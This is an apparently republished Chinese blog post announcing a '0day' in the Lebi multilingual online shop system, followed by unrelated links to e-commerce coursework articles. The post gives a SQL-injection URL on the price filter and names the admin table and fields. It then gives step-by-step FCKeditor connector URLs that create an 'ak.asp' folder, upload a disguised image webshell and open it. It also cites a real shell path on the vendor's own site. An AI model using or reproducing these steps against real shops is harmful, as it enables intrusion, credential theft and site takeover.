乐彼多语言网上商城系统 0day

马上回家了，朋友结婚。蚂蚁大牛欺负我，丢了个后台给我！是乐彼多语言网上商城系统！
粗略看了2眼。随便找个url试下注射。在按价格分类的地方存在注入。
/productp.asp?sprice=1000|1999

管理员表段为 Lebi_adminuser 字段为admin_name admin_pass

不细说了,得到管理员帐号密码！

    登陆后台，添加商品。发现后台是用了fckeditor编辑器！

    直接通过fckeditor拿去webshell ！

经测试。发现通过fckeditor 可以直接得到webshell ！官网存在此漏洞！不过官网是用了IIS安全软件之类的东西 x.asp/xxx.jpg 不能执行。由于着急就不去继续了。应该可以轻松绕过的。时间仓促未能图文并茂。留下几句话直接创建ak.asp 文件夹上传jpg 小马的代码收工了

创建ak.asp文件夹

复制代码

1. http://xxx.xxx.xxx/admin/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/ak.asp&NewFolderName=ak.asp

上传jpg小马打开url 选择ak.asp 文件目录然后上传 .jog小马

复制代码

1. http://xxx.xxx.xxx/admin/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/admin/fckeditor/editor/filemanager/connectors/asp/connector.asp

我们的小马访问地址是 xxx 是随机的记住你刚才的xxx.jpg的文件名称即可

复制代码

1. http://xxx.xxx.xxx/pic/UserFiles/Image/ak.asp/xxx.jpg

官网的未执行小马

复制代码

1. http://eshop.56770.com/lanshop/pic/userfiles/file/1.asp/20100104162153806974.jpg

我走了你们继续！

乐彼多语言网上商城系统 0day相关推荐

基于jsp的网上商城_[源码和文档分享]基于S2SH框架的JSP和MySQL的网上商城系统
随着网络技术的飞速发展,网络已经成为人们获取和交换信息的最有效途径,通过网络进行商品交易已经成为一种新型的购物方式.网上商城系统是将商品销售和计算机网络功能结合起来的一种新型的电商系统,是当前新技术革 ...
java 微商城开发_Java网上商城系统可以开微信商城吗
开微信商城是现在非常火的一件事,我们身边有很多人都在开微信商城.而开发微信商城吗?MCmore小麦来为你解惑. Java网购商城系统和微信商城网上商城系统是由很多种类型的,如java网上购物系统,p ...
web课程设计：网上商城系统
web课程设计:网上商城系统项目详情: 课程设计:网上商城系统 2019.6-2019.7 1.1 选题目的及意义网上购物系统构建初始目标主要是面对广大消费者,网上商店成本较低,而且运营简单方便, ...
【计算机毕业设计】123网上商城系统的设计与实现
一.系统截图(需要演示视频可以私聊) 摘要现代经济快节奏发展以及不断完善升级的信息化技术,让传统数据信息的管理升级为软件存储,归纳,集中处理数据信息的管理方式.本网上商城系统就是在这样的大环境下 ...
基于php+Mysql网上商城系统开题报告
本科生毕业论文基于PHP+Mysql网上商城系统开题报告学院: 专业: 计算机科学与技术年级: 学生姓名: 指导教师: XXXX大学本科生毕业论文(设计)开题报 ...
java计算机毕业设计网上商城系统演示录像源码+系统+数据库+lw文档+mybatis+运行部署
java计算机毕业设计网上商城系统演示录像源码+系统+数据库+lw文档+mybatis+运行部署 java计算机毕业设计网上商城系统演示录像源码+系统+数据库+lw文档+mybatis+运行部署本源 ...
软件工程课程设计·SOA架构搭建SSM框架的网上商城系统
软件工程课程设计·SOA架构搭建SSM框架的网上商城系统项目简介本系统利用SSM框架.Dubbo框架.Maven模块化开发等技术开发的一个网上商城项目,主要包括订单系统模块.购物车系统模块.搜索系 ...
asp.net网上商城系统VS开发sqlserver数据库web结构c#编程计算机网页源码项目
一.源码特点 asp.net 网上商城系统是一套完善的web设计管理系统,系统具有完整的源代码和数据库,系统主要采用B/S模式开发,开发环境为vs2010,数据库为sqlserver2 ...
网上商城系统，安全重要性
以下是一些知名大型网上商城,因系统安全问题而造成的被攻击事件: 1.2009年8月9日京东商城首页出现众多商品价格出现负数现象,造成全网站无法正常下定单.疑似遭到黑客攻击,京东商城网站形象受损. 2 ...

乐彼多语言网上商城系统 0day

乐彼多语言网上商城系统 0day相关推荐

最新文章

热门文章